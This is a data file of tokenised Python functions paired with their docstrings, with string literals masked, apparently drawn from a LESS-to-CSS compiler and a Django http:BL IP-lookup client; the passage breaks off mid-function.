{"signature": "def parse(self, scope):", "body": "names = []<EOL>name = []<EOL>self._subp = ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>')<EOL>if self.tokens and hasattr(self.tokens, '<STR_LIT>'):<EOL><INDENT>self.tokens = list(<EOL>utility.flatten([<EOL>id.split() + ['<STR_LIT:U+002C>']<EOL>for id in self.tokens.parse(scope).split('<STR_LIT:U+002C>')<EOL>]))<EOL>self.tokens.pop()<EOL><DEDENT>if self.tokens and any(hasattr(t, '<STR_LIT>') for t in self.tokens):<EOL><INDENT>tmp_tokens = []<EOL>for t in self.tokens:<EOL><INDENT>if hasattr(t, '<STR_LIT>'):<EOL><INDENT>tmp_tokens.append(t.parse(scope))<EOL><DEDENT>else:<EOL><INDENT>tmp_tokens.append(t)<EOL><DEDENT><DEDENT>self.tokens = list(utility.flatten(tmp_tokens))<EOL><DEDENT>if self.tokens and self.tokens[<NUM_LIT:0>] in self._subp:<EOL><INDENT>name = list(utility.flatten(self.tokens))<EOL>self.subparse = True<EOL><DEDENT>else:<EOL><INDENT>self.subparse = False<EOL>for n in utility.flatten(self.tokens):<EOL><INDENT>if n == '<STR_LIT:*>':<EOL><INDENT>name.append('<STR_LIT>')<EOL><DEDENT>elif n in '<STR_LIT>':<EOL><INDENT>if name and name[-<NUM_LIT:1>] == '<STR_LIT:U+0020>':<EOL><INDENT>name.pop()<EOL><DEDENT>name.append('<STR_LIT>' % n)<EOL><DEDENT>elif n == '<STR_LIT:U+002C>':<EOL><INDENT>names.append(name)<EOL>name = []<EOL><DEDENT>else:<EOL><INDENT>name.append(n)<EOL><DEDENT><DEDENT><DEDENT>names.append(name)<EOL>parsed = self.root(scope, names) if scope else names<EOL>def replace_variables(tokens, scope):<EOL><INDENT>return [<EOL>scope.swap(t)<EOL>if (utility.is_variable(t) and not t in reserved.tokens) else t<EOL>for t in tokens<EOL>]<EOL><DEDENT>parsed = [<EOL>list(utility.flatten(replace_variables(part, scope)))<EOL>for part in parsed<EOL>]<EOL>self.parsed = [[<EOL>i for i, j in utility.pairwise(part)<EOL>if i != '<STR_LIT:U+0020>' or (j and '<STR_LIT:?>' not in j)<EOL>] for part in parsed]<EOL>return self<EOL>", "docstring": "Parse node. Block identifiers are stored as\n        strings with spaces replaced with ?\n        args:\n            scope (Scope): Current scope\n        raises:\n            SyntaxError\n        returns:\n            self", "id": "f12450:c0:m0"}
{"signature": "def root(self, scope, names):", "body": "parent = scope.scopename<EOL>if parent:<EOL><INDENT>parent = parent[-<NUM_LIT:1>]<EOL>if parent.parsed:<EOL><INDENT>parsed_names = []<EOL>for name in names:<EOL><INDENT>ampersand_count = name.count('<STR_LIT:&>')<EOL>if ampersand_count:<EOL><INDENT>filtered_parts = []<EOL>for part in parent.parsed:<EOL><INDENT>if part and part[<NUM_LIT:0>] not in self._subp:<EOL><INDENT>filtered_parts.append(part)<EOL><DEDENT><DEDENT>permutations = list(<EOL>utility.permutations_with_replacement(<EOL>filtered_parts, ampersand_count))<EOL>for permutation in permutations:<EOL><INDENT>parsed = []<EOL>for name_part in name:<EOL><INDENT>if name_part == \"<STR_LIT:&>\":<EOL><INDENT>parent_part = permutation.pop(<NUM_LIT:0>)<EOL>if parsed and parsed[-<NUM_LIT:1>].endswith('<STR_LIT:]>'):<EOL><INDENT>parsed.extend('<STR_LIT:U+0020>')<EOL><DEDENT>if parent_part[-<NUM_LIT:1>] == '<STR_LIT:U+0020>':<EOL><INDENT>parent_part.pop()<EOL><DEDENT>parsed.extend(parent_part)<EOL><DEDENT>else:<EOL><INDENT>parsed.append(name_part)<EOL><DEDENT><DEDENT>parsed_names.append(parsed)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>for part in parent.parsed:<EOL><INDENT>if part and part[<NUM_LIT:0>] not in self._subp:<EOL><INDENT>parsed = []<EOL>if name[<NUM_LIT:0>] == \"<STR_LIT>\":<EOL><INDENT>parsed.extend(name)<EOL><DEDENT>else:<EOL><INDENT>parsed.extend(part)<EOL>if part[-<NUM_LIT:1>] != '<STR_LIT:U+0020>':<EOL><INDENT>parsed.append('<STR_LIT:U+0020>')<EOL><DEDENT>parsed.extend(name)<EOL><DEDENT>parsed_names.append(parsed)<EOL><DEDENT>else:<EOL><INDENT>parsed_names.append(name)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return parsed_names<EOL><DEDENT><DEDENT>return names<EOL>", "docstring": "Find root of identifier, from scope\n        args:\n            scope (Scope): current scope\n            names (list): identifier name list (, separated identifiers)\n        returns:\n            list", "id": "f12450:c0:m1"}
{"signature": "def raw(self, clean=False):", "body": "if clean:<EOL><INDENT>return '<STR_LIT>'.join('<STR_LIT>'.join(p) for p in self.parsed).replace('<STR_LIT:?>', '<STR_LIT:U+0020>')<EOL><DEDENT>return '<STR_LIT:%>'.join('<STR_LIT:%>'.join(p) for p in self.parsed).strip().strip('<STR_LIT:%>')<EOL>", "docstring": "Raw identifier.\n        args:\n            clean (bool): clean name\n        returns:\n            str", "id": "f12450:c0:m2"}
{"signature": "def copy(self):", "body": "tokens = ([t for t in self.tokens]<EOL>if isinstance(self.tokens, list) else self.tokens)<EOL>return Identifier(tokens, <NUM_LIT:0>)<EOL>", "docstring": "Return copy of self\n        Returns:\n            Identifier object", "id": "f12450:c0:m3"}
{"signature": "def fmt(self, fills):", "body": "name = '<STR_LIT>'.join('<STR_LIT>'.join(p).strip() for p in self.parsed)<EOL>name = re.sub('<STR_LIT>', '<STR_LIT>', name) % fills<EOL>return name.replace('<STR_LIT>', fills['<STR_LIT>']).replace('<STR_LIT:U+0020>', '<STR_LIT:U+0020>')<EOL>", "docstring": "Format identifier\n        args:\n            fills (dict): replacements\n        returns:\n            str (CSS)", "id": "f12450:c0:m4"}
{"signature": "def parse(self, scope):", "body": "if not self.parsed:<EOL><INDENT>scope.push()<EOL>self.name, inner = self.tokens<EOL>scope.current = self.name<EOL>scope.real.append(self.name)<EOL>if not self.name.parsed:<EOL><INDENT>self.name.parse(scope)<EOL><DEDENT>if not inner:<EOL><INDENT>inner = []<EOL><DEDENT>inner = list(utility.flatten([p.parse(scope) for p in inner if p]))<EOL>self.parsed = []<EOL>self.inner = []<EOL>if not hasattr(self, \"<STR_LIT>\"):<EOL><INDENT>self.inner_media_queries = []<EOL><DEDENT>for p in inner:<EOL><INDENT>if p is not None:<EOL><INDENT>if isinstance(p, Block):<EOL><INDENT>if (len(scope) == <NUM_LIT:2> and p.tokens[<NUM_LIT:1>] is not None):<EOL><INDENT>p_is_mediaquery = p.name.tokens[<NUM_LIT:0>] == '<STR_LIT>'<EOL>append_list = []<EOL>reparse_p = False<EOL>for child in p.tokens[<NUM_LIT:1>]:<EOL><INDENT>if isinstance(child, Block) and child.name.raw(<EOL>).startswith(\"<STR_LIT>\"):<EOL><INDENT>p.tokens[<NUM_LIT:1>].remove(child)<EOL>if p_is_mediaquery:  <EOL><INDENT>reparse_p = True<EOL>part_a = p.name.tokens[<NUM_LIT:2>:][<NUM_LIT:0>][<NUM_LIT:0>][<NUM_LIT:0>]<EOL>part_b = child.name.tokens[<NUM_LIT:2>:][<NUM_LIT:0>][<NUM_LIT:0>]<EOL>new_ident_tokens = [<EOL>'<STR_LIT>', '<STR_LIT:U+0020>', [<EOL>part_a, ('<STR_LIT:U+0020>', '<STR_LIT>', '<STR_LIT:U+0020>'),<EOL>part_b<EOL>]<EOL>]<EOL>child.tokens[<NUM_LIT:0>] = Identifier(<EOL>new_ident_tokens)<EOL>child.parsed = None<EOL>child = child.parse(scope)<EOL><DEDENT>else:<EOL><INDENT>child.block_name = p.name<EOL><DEDENT>append_list.append(child)<EOL><DEDENT>if reparse_p:<EOL><INDENT>p.parsed = None<EOL>p = p.parse(scope)<EOL><DEDENT><DEDENT>if not p_is_mediaquery and not append_list:<EOL><INDENT>self.inner.append(p)<EOL><DEDENT>else:<EOL><INDENT>append_list.insert(<EOL><NUM_LIT:0>, p<EOL>)  <EOL>for media_query in append_list:<EOL><INDENT>self.inner_media_queries.append(<EOL>media_query)<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>self.inner.append(p)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self.parsed.append(p)<EOL><DEDENT><DEDENT><DEDENT>if self.inner_media_queries:<EOL><INDENT>scope.remove_block(self, index=-<NUM_LIT:2>)<EOL>for mb in self.inner_media_queries:<EOL><INDENT>if hasattr(mb, '<STR_LIT>'):<EOL><INDENT>cb_name = mb.block_name<EOL><DEDENT>else:<EOL><INDENT>cb_name = self.tokens[<NUM_LIT:0>]<EOL><DEDENT>cb = Block([cb_name, mb.tokens[<NUM_LIT:1>]]).parse(scope)<EOL>new_mb = Block([mb.tokens[<NUM_LIT:0>], [cb]]).parse(scope)<EOL>self.inner.append(new_mb)<EOL>scope.add_block(new_mb)<EOL><DEDENT><DEDENT>scope.real.pop()<EOL>scope.pop()<EOL><DEDENT>return self<EOL>", "docstring": "Parse block node.\n        args:\n            scope (Scope): Current scope\n        raises:\n            SyntaxError\n        returns:\n            self", "id": "f12451:c0:m0"}
{"signature": "def raw(self, clean=False):", "body": "try:<EOL><INDENT>return self.tokens[<NUM_LIT:0>].raw(clean)<EOL><DEDENT>except (AttributeError, TypeError):<EOL><INDENT>pass<EOL><DEDENT>", "docstring": "Raw block name\n        args:\n            clean (bool): clean name\n        returns:\n            str", "id": "f12451:c0:m1"}
{"signature": "def fmt(self, fills):", "body": "f = \"<STR_LIT>\"<EOL>out = []<EOL>name = self.name.fmt(fills)<EOL>if self.parsed and any(<EOL>p for p in self.parsed<EOL>if str(type(p)) != \"<STR_LIT>\"):<EOL><INDENT>fills.update({<EOL>'<STR_LIT>':<EOL>name,<EOL>'<STR_LIT>':<EOL>'<STR_LIT>'.join([p.fmt(fills) for p in self.parsed if p]),<EOL>})<EOL>out.append(f % fills)<EOL><DEDENT>if hasattr(self, '<STR_LIT>'):<EOL><INDENT>if self.name.subparse and len(self.inner) > <NUM_LIT:0>:  <EOL><INDENT>inner = '<STR_LIT>'.join([p.fmt(fills) for p in self.inner])<EOL>inner = inner.replace(fills['<STR_LIT>'],<EOL>fills['<STR_LIT>'] + fills['<STR_LIT>']).rstrip(<EOL>fills['<STR_LIT>'])<EOL>if not fills['<STR_LIT>']:<EOL><INDENT>inner = inner.strip()<EOL><DEDENT>fills.update({<EOL>'<STR_LIT>': name,<EOL>'<STR_LIT>': fills['<STR_LIT>'] + inner<EOL>})<EOL>out.append(f % fills)<EOL><DEDENT>else:<EOL><INDENT>out.append('<STR_LIT>'.join([p.fmt(fills) for p in self.inner]))<EOL><DEDENT><DEDENT>return '<STR_LIT>'.join(out)<EOL>", "docstring": "Format block (CSS)\n        args:\n            fills (dict): Fill elements\n        returns:\n            str (CSS)", "id": "f12451:c0:m2"}
{"signature": "def copy(self):", "body": "name, inner = self.tokens<EOL>if inner:<EOL><INDENT>inner = [u.copy() if u else u for u in inner]<EOL><DEDENT>if name:<EOL><INDENT>name = name.copy()<EOL><DEDENT>return Block([name, inner], <NUM_LIT:0>)<EOL>", "docstring": "Return a full copy of self\n        returns: Block object", "id": "f12451:c0:m3"}
{"signature": "def copy_inner(self, scope):", "body": "if self.tokens[<NUM_LIT:1>]:<EOL><INDENT>tokens = [u.copy() if u else u for u in self.tokens[<NUM_LIT:1>]]<EOL>out = [p for p in tokens if p]<EOL>utility.rename(out, scope, Block)<EOL>return out<EOL><DEDENT>return None<EOL>", "docstring": "Copy block contents (properties, inner blocks).\n        Renames inner block from current scope.\n        Used for mixins.\n        args:\n            scope (Scope): Current scope\n        returns:\n            list (block contents)", "id": "f12451:c0:m4"}
{"signature": "def __init__(self, tokens, lineno=<NUM_LIT:0>):", "body": "self.tokens = tokens<EOL>self.lineno = lineno<EOL>self.parsed = False<EOL>", "docstring": "Base Node\n        args:\n            tokens (list): tokenlist\n            lineno (int): Line number of node", "id": "f12452:c0:m0"}
{"signature": "def parse(self, scope):", "body": "return self<EOL>", "docstring": "Base parse function\n        args:\n            scope (Scope): Current scope\n        returns:\n            self", "id": "f12452:c0:m1"}
{"signature": "def process(self, tokens, scope):", "body": "while True:<EOL><INDENT>tokens = list(utility.flatten(tokens))<EOL>done = True<EOL>if any(t for t in tokens if hasattr(t, '<STR_LIT>')):<EOL><INDENT>tokens = [<EOL>t.parse(scope) if hasattr(t, '<STR_LIT>') else t<EOL>for t in tokens<EOL>]<EOL>done = False<EOL><DEDENT>if any(<EOL>t for t in tokens<EOL>if (utility.is_variable(t)) or str(type(t)) ==<EOL>\"<STR_LIT>\"):<EOL><INDENT>tokens = self.replace_variables(tokens, scope)<EOL>done = False<EOL><DEDENT>if done:<EOL><INDENT>break<EOL><DEDENT><DEDENT>return tokens<EOL>", "docstring": "Process tokenslist, flattening and parsing it\n        args:\n            tokens (list): tokenlist\n            scope (Scope): Current scope\n        returns:\n            list", "id": "f12452:c0:m2"}
{"signature": "def replace_variables(self, tokens, scope):", "body": "list = []<EOL>for t in tokens:<EOL><INDENT>if utility.is_variable(t):<EOL><INDENT>list.append(scope.swap(t))<EOL><DEDENT>elif str(type(t)) == \"<STR_LIT>\":<EOL><INDENT>list.append(scope.swap(t.name))<EOL><DEDENT>else:<EOL><INDENT>list.append(t)<EOL><DEDENT><DEDENT>return list<EOL>", "docstring": "Replace variables in tokenlist\n        args:\n            tokens (list): tokenlist\n            scope (Scope): Current scope\n        returns:\n            list", "id": "f12452:c0:m3"}
{"signature": "def fmt(self, fills):", "body": "raise ValueError('<STR_LIT>')<EOL>", "docstring": "Format node\n        args:\n            fills (dict): replacements\n        returns:\n            str", "id": "f12452:c0:m4"}
{"signature": "def parse(self, scope):", "body": "name = '<STR_LIT>'.join(self.tokens[<NUM_LIT:0>])<EOL>parsed = self.process(self.tokens[<NUM_LIT:1>:], scope)<EOL>if name == '<STR_LIT>':<EOL><INDENT>name = '<STR_LIT>'<EOL><DEDENT>elif name in ('<STR_LIT>', '<STR_LIT:e>'):<EOL><INDENT>name = '<STR_LIT>'<EOL><DEDENT>color = Color.Color()<EOL>args = [<EOL>t for t in parsed<EOL>if not isinstance(t, string_types) or t not in '<STR_LIT>'<EOL>]<EOL>if hasattr(self, name):<EOL><INDENT>try:<EOL><INDENT>return getattr(self, name)(*args)<EOL><DEDENT>except ValueError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>if hasattr(color, name):<EOL><INDENT>try:<EOL><INDENT>result = getattr(color, name)(*args)<EOL>try:<EOL><INDENT>return result + '<STR_LIT:U+0020>'<EOL><DEDENT>except TypeError:<EOL><INDENT>return result<EOL><DEDENT><DEDENT>except ValueError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>return name + '<STR_LIT>'.join([p for p in parsed])<EOL>", "docstring": "Parse Node within scope.\n        the functions ~( and e( map to self.escape\n        and %( maps to self.sformat\n        args:\n            scope (Scope): Current scope", "id": "f12453:c0:m0"}
{"signature": "def escape(self, string, *args):", "body": "return utility.destring(string.strip('<STR_LIT>'))<EOL>", "docstring": "Less Escape.\n        args:\n            string (str): string to escape\n        returns:\n            str", "id": "f12453:c0:m1"}
{"signature": "def sformat(self, string, *args):", "body": "format = string<EOL>items = []<EOL>m = re.findall('<STR_LIT>', format)<EOL>if m and not args:<EOL><INDENT>raise SyntaxError('<STR_LIT>')<EOL><DEDENT>i = <NUM_LIT:0><EOL>for n in m:<EOL><INDENT>v = {<EOL>'<STR_LIT>': urlquote,<EOL>'<STR_LIT:%s>': utility.destring,<EOL>}.get(n, str)(args[i])<EOL>items.append(v)<EOL>i += <NUM_LIT:1><EOL><DEDENT>format = format.replace('<STR_LIT>', '<STR_LIT:%s>')<EOL>format = format.replace('<STR_LIT>', '<STR_LIT:%s>')<EOL>return format % tuple(items)<EOL>", "docstring": "String format.\n        args:\n            string (str): string to format\n            args (list): format options\n        returns:\n            str", "id": "f12453:c0:m2"}
{"signature": "def isnumber(self, string, *args):", "body": "try:<EOL><INDENT>n, u = utility.analyze_number(string)<EOL><DEDENT>except SyntaxError:<EOL><INDENT>return False<EOL><DEDENT>return True<EOL>", "docstring": "Is number\n        args:\n            string (str): match\n        returns:\n            bool", "id": "f12453:c0:m3"}
{"signature": "def iscolor(self, string, *args):", "body": "return (string in lessColors)<EOL>", "docstring": "Is color\n        args:\n            string (str): match\n        returns:\n            bool", "id": "f12453:c0:m4"}
{"signature": "def isurl(self, string, *args):", "body": "arg = utility.destring(string)<EOL>regex = re.compile(<EOL>r'<STR_LIT>'  <EOL>r'<STR_LIT>'<EOL>r'<STR_LIT>'  <EOL>r'<STR_LIT>'<EOL>r'<STR_LIT>'  <EOL>r'<STR_LIT>'<EOL>r'<STR_LIT>',<EOL>re.IGNORECASE)<EOL>return regex.match(arg)<EOL>", "docstring": "Is url\n        args:\n            string (str): match\n        returns:\n            bool", "id": "f12453:c0:m5"}
{"signature": "def isstring(self, string, *args):", "body": "regex = re.compile(r'<STR_LIT>')<EOL>return regex.match(string)<EOL>", "docstring": "Is string\n        args:\n            string (str): match\n        returns:\n            bool", "id": "f12453:c0:m6"}
{"signature": "def iskeyword(self, string, *args):", "body": "return (string in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>'))<EOL>", "docstring": "Is less keyword\n        args:\n            string (str): match\n        returns:\n            bool", "id": "f12453:c0:m7"}
{"signature": "def increment(self, value, *args):", "body": "n, u = utility.analyze_number(value)<EOL>return utility.with_unit(n + <NUM_LIT:1>, u)<EOL>", "docstring": "Increment function\n        args:\n            value (str): target\n        returns:\n            str", "id": "f12453:c0:m8"}
{"signature": "def decrement(self, value, *args):", "body": "n, u = utility.analyze_number(value)<EOL>return utility.with_unit(n - <NUM_LIT:1>, u)<EOL>", "docstring": "Decrement function\n        args:\n            value (str): target\n        returns:\n            str", "id": "f12453:c0:m9"}
{"signature": "def add(self, *args):", "body": "if (len(args) <= <NUM_LIT:1>):<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>return sum([int(v) for v in args])<EOL>", "docstring": "Add integers\n        args:\n            args (list): target\n        returns:\n            str", "id": "f12453:c0:m10"}
{"signature": "def round(self, value, *args):", "body": "n, u = utility.analyze_number(value)<EOL>return utility.with_unit(<EOL>int(utility.away_from_zero_round(float(n))), u)<EOL>", "docstring": "Round number\n        args:\n            value (str): target\n        returns:\n            str", "id": "f12453:c0:m11"}
{"signature": "def ceil(self, value, *args):", "body": "n, u = utility.analyze_number(value)<EOL>return utility.with_unit(int(math.ceil(n)), u)<EOL>", "docstring": "Ceil number\n        args:\n            value (str): target\n        returns:\n            str", "id": "f12453:c0:m12"}
{"signature": "def floor(self, value, *args):", "body": "n, u = utility.analyze_number(value)<EOL>return utility.with_unit(int(math.floor(n)), u)<EOL>", "docstring": "Floor number\n        args:\n            value (str): target\n        returns:\n            str", "id": "f12453:c0:m13"}
{"signature": "def percentage(self, value, *args):", "body": "n, u = utility.analyze_number(value)<EOL>n = int(n * <NUM_LIT>)<EOL>u = '<STR_LIT:%>'<EOL>return utility.with_unit(n, u)<EOL>", "docstring": "Return percentage value\n        args:\n            value (str): target\n        returns:\n            str", "id": "f12453:c0:m14"}
{"signature": "def ldirectory(inpath, outpath, args, scope):", "body": "yacctab = '<STR_LIT>' if args.debug else None<EOL>if not outpath:<EOL><INDENT>sys.exit(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>if not os.path.isdir(outpath):<EOL><INDENT>if args.verbose:<EOL><INDENT>print(\"<STR_LIT>\" % outpath, file=sys.stderr)<EOL><DEDENT>if not args.dry_run:<EOL><INDENT>os.mkdir(outpath)<EOL><DEDENT><DEDENT><DEDENT>less = glob.glob(os.path.join(inpath, '<STR_LIT>'))<EOL>f = formatter.Formatter(args)<EOL>for lf in less:<EOL><INDENT>outf = os.path.splitext(os.path.basename(lf))<EOL>minx = '<STR_LIT>' if args.min_ending else '<STR_LIT>'<EOL>outf = \"<STR_LIT>\" % (outpath, outf[<NUM_LIT:0>], minx)<EOL>if not args.force and os.path.exists(outf):<EOL><INDENT>recompile = os.path.getmtime(outf) < os.path.getmtime(lf)<EOL><DEDENT>else:<EOL><INDENT>recompile = True<EOL><DEDENT>if recompile:<EOL><INDENT>print('<STR_LIT>' % (lf, outf))<EOL>p = parser.LessParser(<EOL>yacc_debug=(args.debug),<EOL>lex_optimize=True,<EOL>yacc_optimize=(not args.debug),<EOL>scope=scope,<EOL>tabfile=yacctab,<EOL>verbose=args.verbose)<EOL>p.parse(filename=lf, debuglevel=<NUM_LIT:0>)<EOL>css = f.format(p)<EOL>if not args.dry_run:<EOL><INDENT>with open(outf, '<STR_LIT:w>') as outfile:<EOL><INDENT>outfile.write(css)<EOL><DEDENT><DEDENT><DEDENT>elif args.verbose:<EOL><INDENT>print('<STR_LIT>' % lf, file=sys.stderr)<EOL><DEDENT>sys.stdout.flush()<EOL><DEDENT>if args.recurse:<EOL><INDENT>[<EOL>ldirectory(<EOL>os.path.join(inpath, name), os.path.join(outpath, name), args,<EOL>scope) for name in os.listdir(inpath)<EOL>if os.path.isdir(os.path.join(inpath, name))<EOL>and not name.startswith('<STR_LIT:.>') and not name == outpath<EOL>]<EOL><DEDENT>", "docstring": "Compile all *.less files in directory\n    Args:\n        inpath (str): Path to compile\n        outpath (str): Output directory\n        args (object): Argparse Object\n        scope (Scope): Scope object or None", "id": "f12455:m0"}
{"signature": "def run():", "body": "aparse = argparse.ArgumentParser(<EOL>description='<STR_LIT>', epilog='<STR_LIT>')<EOL>aparse.add_argument(<EOL>'<STR_LIT>', '<STR_LIT>', action='<STR_LIT:version>', version=VERSION_STR)<EOL>aparse.add_argument(<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>action=\"<STR_LIT:store>\",<EOL>type=str,<EOL>help=\"<STR_LIT>\")<EOL>aparse.add_argument(<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>action=\"<STR_LIT:store_true>\",<EOL>default=False,<EOL>help=\"<STR_LIT>\")<EOL>aparse.add_argument(<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>action=\"<STR_LIT:store_true>\",<EOL>default=False,<EOL>help=\"<STR_LIT>\")<EOL>fgroup = aparse.add_argument_group('<STR_LIT>')<EOL>fgroup.add_argument(<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>action=\"<STR_LIT:store_true>\",<EOL>default=False,<EOL>help=\"<STR_LIT>\")<EOL>fgroup.add_argument(<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>action=\"<STR_LIT:store_true>\",<EOL>default=False,<EOL>help=\"<STR_LIT>\")<EOL>fgroup.add_argument('<STR_LIT>', '<STR_LIT>', help=\"<STR_LIT>\", action=\"<STR_LIT:store_true>\")<EOL>fgroup.add_argument(<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>help=\"<STR_LIT>\",<EOL>default=<NUM_LIT:2>)<EOL>dgroup = aparse.add_argument_group(<EOL>'<STR_LIT>', '<STR_LIT>'<EOL>'<STR_LIT>')<EOL>dgroup.add_argument('<STR_LIT>', '<STR_LIT>', action=\"<STR_LIT:store>\", help=\"<STR_LIT>\")<EOL>dgroup.add_argument(<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>action=\"<STR_LIT:store_true>\",<EOL>help=\"<STR_LIT>\")<EOL>dgroup.add_argument(<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>action=\"<STR_LIT:store_true>\",<EOL>help=\"<STR_LIT>\")<EOL>dgroup.add_argument(<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>action=\"<STR_LIT:store_true>\",<EOL>default=False,<EOL>help=\"<STR_LIT>\")<EOL>dgroup.add_argument(<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>action=\"<STR_LIT:store_true>\",<EOL>default=False,<EOL>help=\"<STR_LIT>\")<EOL>group = aparse.add_argument_group('<STR_LIT>')<EOL>group.add_argument(<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>action=\"<STR_LIT:store_true>\",<EOL>default=False,<EOL>help=\"<STR_LIT>\")<EOL>group.add_argument(<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>action=\"<STR_LIT:store_true>\",<EOL>default=False,<EOL>help=\"<STR_LIT>\")<EOL>group.add_argument(<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>action=\"<STR_LIT:store_true>\",<EOL>default=False,<EOL>help=\"<STR_LIT>\")<EOL>group.add_argument(<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>action=\"<STR_LIT:store_true>\",<EOL>default=False,<EOL>help=\"<STR_LIT>\")<EOL>aparse.add_argument('<STR_LIT:target>', help=\"<STR_LIT>\")<EOL>aparse.add_argument('<STR_LIT>', nargs='<STR_LIT:?>', help=\"<STR_LIT>\")<EOL>args = aparse.parse_args()<EOL>try:<EOL><INDENT>if args.lex_only:<EOL><INDENT>lex = lexer.LessLexer()<EOL>ll = lex.file(args.target)<EOL>while True:<EOL><INDENT>tok = ll.token()<EOL>if not tok:<EOL><INDENT>break<EOL><DEDENT>if hasattr(tok,<EOL>\"<STR_LIT>\"):  <EOL><INDENT>print(tok, \"<STR_LIT>\", tok.lexer.lexstate)<EOL><DEDENT>else:<EOL><INDENT>print(tok)<EOL><DEDENT><DEDENT>print('<STR_LIT>')<EOL>sys.exit()<EOL><DEDENT>yacctab = '<STR_LIT>' if args.debug else None<EOL>scope = None<EOL>if args.include:<EOL><INDENT>for u in args.include.split('<STR_LIT:U+002C>'):<EOL><INDENT>if os.path.exists(u):<EOL><INDENT>p = parser.LessParser(<EOL>yacc_debug=(args.debug),<EOL>lex_optimize=True,<EOL>yacc_optimize=(not args.debug),<EOL>tabfile=yacctab,<EOL>verbose=args.verbose)<EOL>p.parse(filename=u, debuglevel=args.debug)<EOL>if not scope:<EOL><INDENT>scope = p.scope<EOL><DEDENT>else:<EOL><INDENT>scope.update(p.scope)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>sys.exit('<STR_LIT>' % u)<EOL><DEDENT>sys.stdout.flush()<EOL><DEDENT><DEDENT>p = None<EOL>f = formatter.Formatter(args)<EOL>if not os.path.exists(args.target):<EOL><INDENT>sys.exit(\"<STR_LIT>\" % args.target)<EOL><DEDENT>if os.path.isdir(args.target):<EOL><INDENT>ldirectory(args.target, args.out, args, scope)<EOL>if args.dry_run:<EOL><INDENT>print('<STR_LIT>', file=sys.stderr)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>p = parser.LessParser(<EOL>yacc_debug=(args.debug),<EOL>lex_optimize=True,<EOL>yacc_optimize=(not args.debug),<EOL>scope=copy.deepcopy(scope),<EOL>verbose=args.verbose)<EOL>p.parse(filename=args.target, debuglevel=args.debug)<EOL>if args.scopemap:<EOL><INDENT>args.no_css = True<EOL>p.scopemap()<EOL><DEDENT>if not args.no_css and p:<EOL><INDENT>out = f.format(p)<EOL>if args.output:<EOL><INDENT>if not args.dont_create_dirs and not os.path.exists(<EOL>os.path.dirname(args.output)):<EOL><INDENT>try:<EOL><INDENT>os.makedirs(os.path.dirname(args.output))<EOL><DEDENT>except OSError as exc:  <EOL><INDENT>if exc.errno != errno.EEXIST:<EOL><INDENT>raise<EOL><DEDENT><DEDENT><DEDENT>with open(args.output, \"<STR_LIT:w>\") as f:<EOL><INDENT>f.write(out)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>print(out)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>except (KeyboardInterrupt, SystemExit, IOError):<EOL><INDENT>sys.exit('<STR_LIT>')<EOL><DEDENT>", "docstring": "Run compiler", "id": "f12455:m1"}
{"signature": "def get_version():", "body": "return '<STR_LIT:.>'.join(str(i) for i in VERSION[:<NUM_LIT:3>])<EOL>", "docstring": "Returns only digit parts of version.", "id": "f12465:m1"}
{"signature": "def get_user_ip(request):", "body": "ip = get_real_ip(request)<EOL>if ip is None:<EOL><INDENT>ip = get_ip(request)<EOL>if ip is None:<EOL><INDENT>ip = '<STR_LIT:127.0.0.1>'<EOL><DEDENT><DEDENT>return ip<EOL>", "docstring": "Return user ip\n\n    :param request: Django request object\n    :return: user ip", "id": "f12466:m0"}
{"signature": "def __init__(self, **kwargs):", "body": "api_key = kwargs.get('<STR_LIT>', None)<EOL>api_host = kwargs.get('<STR_LIT>', None)<EOL>api_timeout = kwargs.get('<STR_LIT>', None)<EOL>use_cache = kwargs.get('<STR_LIT>', None)<EOL>cache_backend = kwargs.get('<STR_LIT>', None)<EOL>cache_timeout = kwargs.get('<STR_LIT>', None)<EOL>no_api_key = True<EOL>if hasattr(settings, '<STR_LIT>'):<EOL><INDENT>self._api_key = api_key if api_key else settings.CACHED_HTTPBL_API_KEY<EOL>if self._api_key is not None:<EOL><INDENT>no_api_key = False<EOL><DEDENT><DEDENT>if no_api_key:<EOL><INDENT>raise ImproperlyConfigured(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT>self._last_result = None<EOL>self._api_host = api_host if api_host else settings.CACHED_HTTPBL_API_HOST<EOL>self._api_timeout = api_timeout if api_timeout else settings.CACHED_HTTPBL_API_TIMEOUT<EOL>self._use_cache = use_cache if use_cache else settings.CACHED_HTTPBL_USE_CACHE<EOL>self._cache_backend = cache_backend if cache_backend else settings.CACHED_HTTPBL_CACHE_BACKEND<EOL>self._cache_timeout = cache_timeout if cache_timeout else settings.CACHED_HTTPBL_CACHE_TIMEOUT<EOL>self._cache_version = <NUM_LIT:1><EOL>if self._use_cache and self._cache_backend is None:<EOL><INDENT>self._cache_backend = '<STR_LIT:default>'<EOL><DEDENT>if self._use_cache:<EOL><INDENT>try:<EOL><INDENT>self._cache = 